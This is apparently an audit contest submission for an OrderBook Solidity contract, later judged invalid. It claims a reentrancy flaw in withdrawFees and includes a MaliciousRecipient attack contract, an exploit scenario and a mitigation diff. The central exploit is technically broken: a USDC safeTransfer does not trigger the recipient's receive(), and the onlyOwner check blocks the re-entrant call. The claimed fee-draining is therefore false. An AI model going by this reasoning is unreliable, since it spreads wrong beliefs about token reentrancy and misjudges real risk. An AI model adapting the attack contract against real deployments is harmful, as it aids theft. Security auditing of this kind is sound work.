OrderBook
First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: medium
Invalid

Re-entrancy in withdrawFees

nagatejakachapuram

Description


The withdrawFees function transfers tokens to an external address before updating the contract's internal totalFees state variable to zero. This violates the "Checks-Effects-Interactions" security pattern.


Risk


Root Cause: The state variable @> totalFees = 0; is updated after the iUSDC.safeTransfer call.

Solidity

function withdrawFees(address _to) external onlyOwner {
if (totalFees == 0) revert InvalidAmount();
if (_to == address(0)) revert InvalidAddress();
​
iUSDC.safeTransfer(_to, totalFees); // External call (Interaction)
​
@> totalFees = 0; // State update (Effect) after interaction
emit FeesWithdrawn(_to);
}
​

Likelihood: Medium. While SafeERC20 offers some re-entrancy protection, this logic flaw could still be exploited by a malicious recipient if SafeERC20's guards are bypassed or if the underlying token's behavior is unusual, allowing recursive calls.

Impact: High. An attacker could potentially re-enter the function multiple times before totalFees is reset, leading to the unauthorized draining of accumulated protocol fees.


Proof of Concept


A malicious contract can be used as the _to recipient. Its receive() or fallback() function would call OrderBook.withdrawFees() recursively.

MaliciousRecipient.sol:

Solidity

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
​
interface IOrderBook {
function withdrawFees(address _to) external;
function totalFees() external view returns (uint256);
function iUSDC() external view returns (IERC20);
}
​
contract MaliciousRecipient {
IOrderBook public orderBook;
IERC20 public usdc;
​
constructor(address _orderBookAddress, address _usdcAddress) {
orderBook = IOrderBook(_orderBookAddress);
usdc = IERC20(_usdcAddress);
}
​
// Called when this contract receives tokens
receive() external payable {
if (msg.sender == address(usdc) && orderBook.totalFees() > 0) {
// Re-enter the withdrawFees function if fees are still present
orderBook.withdrawFees(address(this));
}
}
​
// Function for owner to initiate the withdrawal to this malicious contract
function triggerAttack() public {
orderBook.withdrawFees(address(this));
}
}
​

Exploit Scenario:

  1. Fees accumulate in OrderBook.

  2. An owner (or compromised owner) calls OrderBook.withdrawFees(address(MaliciousRecipient)).

  3. The iUSDC.safeTransfer sends tokens to MaliciousRecipient.

  4. MaliciousRecipient's receive() function triggers, which then calls OrderBook.withdrawFees() again.

  5. This re-entrant call finds totalFees still at its original value, leading to another transfer. This can repeat, extracting more funds than intended.


Recommended Mitigation


Implement the Checks-Effects-Interactions pattern by setting totalFees to zero before performing the external token transfer.

Diff

function withdrawFees(address _to) external onlyOwner {
if (totalFees == 0) revert InvalidAmount();
if (_to == address(0)) revert InvalidAddress();
+ uint256 feesToWithdraw = totalFees;
+ totalFees = 0; // Effect: Update state BEFORE interaction
+
- iUSDC.safeTransfer(_to, totalFees);
- totalFees = 0;
+ iUSDC.safeTransfer(_to, feesToWithdraw); // Interaction: External call
emit FeesWithdrawn(_to);
}
​

Reference Files:

  • src/OrderBook.sol

  • test/TestOrderBook.t.sol

Updates

Lead Judging Commences

yeahchibyke Lead Judge
about 1 month ago
yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.